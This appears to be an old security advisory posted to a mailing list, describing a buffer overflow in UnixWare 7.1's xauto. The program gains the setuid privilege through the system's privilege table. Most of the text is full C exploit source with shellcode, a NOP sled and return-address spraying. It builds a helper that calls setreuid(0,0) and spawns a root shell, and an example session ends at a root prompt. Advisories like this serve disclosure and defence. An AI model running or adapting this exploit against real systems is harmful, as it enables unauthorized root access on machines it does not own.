unixware.auto.txt

`Greetings,  
  
OVERVIEW  
Although UnixWare's /usr/X/bin/xauto is NOT suid/sgid, we can still overf=  
low a  
buffer within it and gain root privileges.  
  
BACKGROUND  
Only tested UnixWare 7.1, all other UnixWares should be assumed vulnerabl=  
e.  
  
DETAILS  
xauto is mode 755, root/sys and yet we can still use a buffer overflow at=  
tack  
to gain root privileges. This is due to (see my UnixWare privileges  
discussion in my uidadmin advisory) xauto gaining the "setuid" privilege =  
in  
/etc/security/tcb/privs as shown:  
  
bash-2.02$ cat /etc/security/tcb/privs | grep xauto  
39968:3056:939894567:%fixed,setuid,dacread:/usr/X/bin/xauto  
  
The setuid privilege, as you might imagine, allows the program to setuid(=  
) any  
way it wants. Therefore we must either have setreuid(0,0); in our shellc=  
ode  
or exec a program that calls this for us. =  
  
  
EXPLOIT  
  
bash-2.02$ ls -la /usr/X/bin/xauto  
-rwxr-xr-x 1 root sys 39968 Apr 3 1998 /usr/X/bin/xaut=  
o  
bash-2.02$ cat /etc/security/tcb/privs | grep xauto  
39968:3056:939894567:%fixed,setuid,dacread:/usr/X/bin/xauto  
bash-2.02$ ./uwxauto  
UnixWare 7.x exploit for the non-su/gid /usr/X/bin/xauto  
Brock Tellier [email protected]  
Using offset/addr: 9400/0x8047b08  
# =  
  
  
--- uwxauto.c ---  
/**  
** UnixWare 7.1 root exploit for xauto  
** Note that xauto is NOT suid or sgid but gains it's privs from  
** /etc/security/tcb/privs. For more info, consult intro(2) =  
  
** and fileprivs(1)  
** =  
  
**  
** Brock Tellier [email protected]  
**/ =  
  
  
  
#include <stdlib.h>  
#include <stdio.h>  
  
char scoshell[]=3D /* UnixWare 7.1 shellcode runs /tmp/ui */  
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"  
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"  
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";  
  
=  
  
#define EGGLEN 2048  
#define RETLEN 5000  
#define ALIGN 0  
#define NOP 0x90  
#define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"  
  
void buildui() {  
FILE *fp;  
char cc[100];  
  
fp =3D fopen("/tmp/ui.c", "w");  
fprintf(fp, CODE);  
fclose(fp);  
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");  
system(cc);  
  
}  
  
int main(int argc, char *argv[]) {  
=  
  
long int offset=3D0;  
=  
  
int i;  
int egglen =3D EGGLEN;  
int retlen;  
long int addr;  
char egg[EGGLEN];  
char ret[RETLEN];  
// who needs __asm__? Per Solar Designer's suggestion  
unsigned long sp =3D (unsigned long)&sp; =  
  
  
buildui();  
if(argc > 3) {  
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);  
exit(0); =  
  
}  
else if (argc =3D=3D 2){  
offset=3Datoi(argv[1]);  
retlen=3DRETLEN;  
}  
else if (argc =3D=3D 3) {  
offset=3Datoi(argv[1]);  
retlen=3Datoi(argv[2]); =  
  
}  
else {  
offset=3D9400;  
retlen=3D2000;  
=  
  
}  
addr=3Dsp + offset;  
=  
  
fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid  
/usr/X/bin/xauto\n");  
fprintf(stderr, "Brock Tellier [email protected]\n");  
fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);  
=  
  
memset(egg,NOP,egglen);  
memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));  
=  
  
for(i=3DALIGN;i< retlen-4;i+=3D4)  
*(int *)&ret[i]=3Daddr; =  
  
=  
  
memcpy(egg, "EGG=3D", 4);  
putenv(egg);  
  
execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); =  
  
=  
  
}  
  
------  
  
Brock Tellier  
UNIX Systems Administrator  
Chicago, IL, USA  
[email protected]  
  
`